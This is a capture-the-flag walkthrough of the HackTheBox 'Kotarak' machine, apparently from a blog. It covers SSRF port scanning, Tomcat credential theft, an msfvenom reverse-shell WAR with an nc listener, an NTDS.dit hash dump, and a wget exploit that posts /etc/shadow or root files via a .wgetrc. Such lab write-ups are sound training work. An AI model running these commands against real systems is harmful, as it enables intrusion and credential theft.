HackTheBox Write-Up — Kotarak

Kotarak is a difficult machine which involves vulnerability chaining and a great deal of persistence.

nmap -T4 -p-

Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-04 10:41 EDT
Nmap scan report for
Host is up (0.084s latency).
Not shown: 65531 closed ports
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 32.72 seconds

nmap -T4 -A -p22,8009,8080,60000

Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-04 10:45 EDT
Nmap scan report for
Host is up (0.038s latency).
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Kotarak Web Hosting

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
1 32.76 ms
2 38.65 ms
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.19 seconds

We have four ports open. Two of them are of interest to us- 8080 and 60000.

Port 8080’s index page returns a 404 error, keep in mind we’ve also found the version 8.5.5.

Gobuster directory brute force gives us these non-recursive results.

gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Dirbuster allows us to enumerate further on the /manager/ directory with Blank Extension. brings us to a login page.

Default credentials for Apache Tomcat are not working, let’s enumerate port 60000.

By inputting http://google.com and clicking submit, the web page returns the following URL.

Let’s see if we can change the parameter to file and have it read us contents of /etc/passwd.

Wow! We shall try harder!

It appears we have a SSRF (Server Side Request Forgery) vulnerability.

Taken from https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

Let’s enumerate on each port from the server side using the loop-back address in the browser.

Open BurpSuite, and intercept the following request.

You can CTRL + I to send to Intruder.

Change the position of the request under the “Intruder” tab to, and add the ampersand look-alike variables between the port number 80.

Follow up on the “Payloads” tab with the following parameters.

Having the range from 1–65535 this will send an SSRF to each port.

The attack will take some time, so check back an hour later.

Filter the response by Length, and you will find that whichever result comes back with a length other than 168 could be an open port.

The response from port 888 shows it is a “Simple File Viewer”, let’s see if we can view this from the web page on port 60000.

This is awesome, and it appears we might have access to a backup!

By clicking on “backup” it returns the following URL, and leaves us with just this.

Let’s play with what we’ve got:

I had switched the “doc=” parameter to “file=” and it did not return a 404. Let’s try to view it with the “file=” parameter within the private web browser SSRF on port 60000.

This returns TRY HARDER!!! We shall!

Let’s intercept a request with Burp, and see what we can do.

Going back to the request we sent to view the “Simple File Viewer” (shown below), it used the “path=” variable.

When we click on the backup, it returns the “doc=” variable.

We will intercept the request from above bringing us to the “Simple File Viewer,” because it seems to work — let’s see if we can add the “doc=” variable to read it.

Forward the request, and view the source of the page.


We’ve obtained the following credentials to Apache Tomcat via SSRF, now we can login over port 8080.

admin | 3@g01PdhB!

To gain a foothold into this machine, we will need to upload a reverse shell masked as a WAR file using msfvenom. Halfway down the page you will find where we can “deploy” this reverse shell “WAR” file.

Upload bypass and RCE.

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=332 -f war > reverse.war

Once the file is in our working directory: we can setup a listener (typo: I meant to use port 443, we will see if 332 works), upload the file, and execute the shell.

nc -nlvp 332

Once deployed, click the reverse shell under “Applications,” this will execute our shell.

We’ve gained a foothold into this machine! We’ll need to find a way to elevate our privileges to the root user, and grab the root flag.

which python

Executing “which python” will return /usr/bin/python, meaning that Python is installed on this machine. We can use the following python one-liner for a better shell.

(Visit https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ to learn how to get a fully interactive shell, see Method 3.)

python -c ‘import pty; pty.spawn(“/bin/bash”)’

My mistake, we will not be able to grab the user.txt as the current user. Let’s get to work!

It appears we are inside of a DMZ demilitarized zone.

Inside of our own home directory, there is a folder called pentest_data.

Within /home/tomcat/to_archive/pentest_data, we come across an Ntds.dit file… which is used to store sensitive Active Directory information.

We can extract these files by creating an HTTP Server, and downloading them to our local Kali machine.

python -m SimpleHTTPServer 8088

Visit to download the files to our working directory.

Using the terminal where these files are located, we’re going to extract the hashes from these files using Impacket’s script.

impacket-secretsdump -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit LOCAL

Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies                         

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from 20170721114636_default_192.168.110.133_psexec.ntdsg

We are interested in Administrator’s password hash, as well as Atanas.


Using Crackstation, we were able to crack the password hashes.


Let’s see if we switch user to atanas account using one of these two passwords.

atanas | f16tomcat!

su atanas

We’ve successfully migrated to the atanas user account, notice this user is a member of a few different groups.

From here we should be able to grab the user.txt file.

cat /home/atanas/user.txt

Listing the contents of the root directory we find two files that are owned by our current user account.

ls -la /root/

atanas@kotarak-dmz:~$ ls -la /root/
total 48
drwxrwxrwx 6 root root 4096 Sep 19 2017 .
drwxr-xr-x 27 root root 4096 Aug 29 2017 ..
-rw------- 1 atanas root 333 Jul 20 2017 app.log
-rw------- 1 root root 499 Jan 18 2018 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 3 root root 4096 Jul 21 2017 .cache
drwxr-x--- 3 root root 4096 Jul 19 2017 .config
-rw------- 1 atanas root 66 Aug 29 2017 flag.txt
-rw------- 1 root root 188 Jul 12 2017 .mysql_history
drwxr-xr-x 2 root root 4096 Jul 12 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Jul 19 2017 .ssh

cat /root/flag.txt

cat /root/app.log

This is interesting, within app.log we find making a GET request every 2 minutes to download the file archive.tar.gz using a vulnerable version of wget 1.16. Any version below 1.18 is vulnerable to Arbitrary File Upload and Remote Code Execution.

wget -v

Our wget version is 1.17, also vulnerable.

Based on the exploit POC, we’re going to need to first create a .wgetrc file with the following contents.

post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell

cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell

Then we’re going to want to edit “/etc/shadow” to “/root/root.txt”

gedit .wgetrc

post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell

Then we will serve up an FTP server in the same directory as the .wgetrc file.

python3 -m pyftpdlib -p21 -w

Copy the POC exploit code from Exploit-DB and edit the script to the following parameters.


Transfer the exploit code to the victim machine by serving it on an HTTP Server, make the exploit executable, then run the exploit

After a few minutes, it should run revealing the contents of root.txt.



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store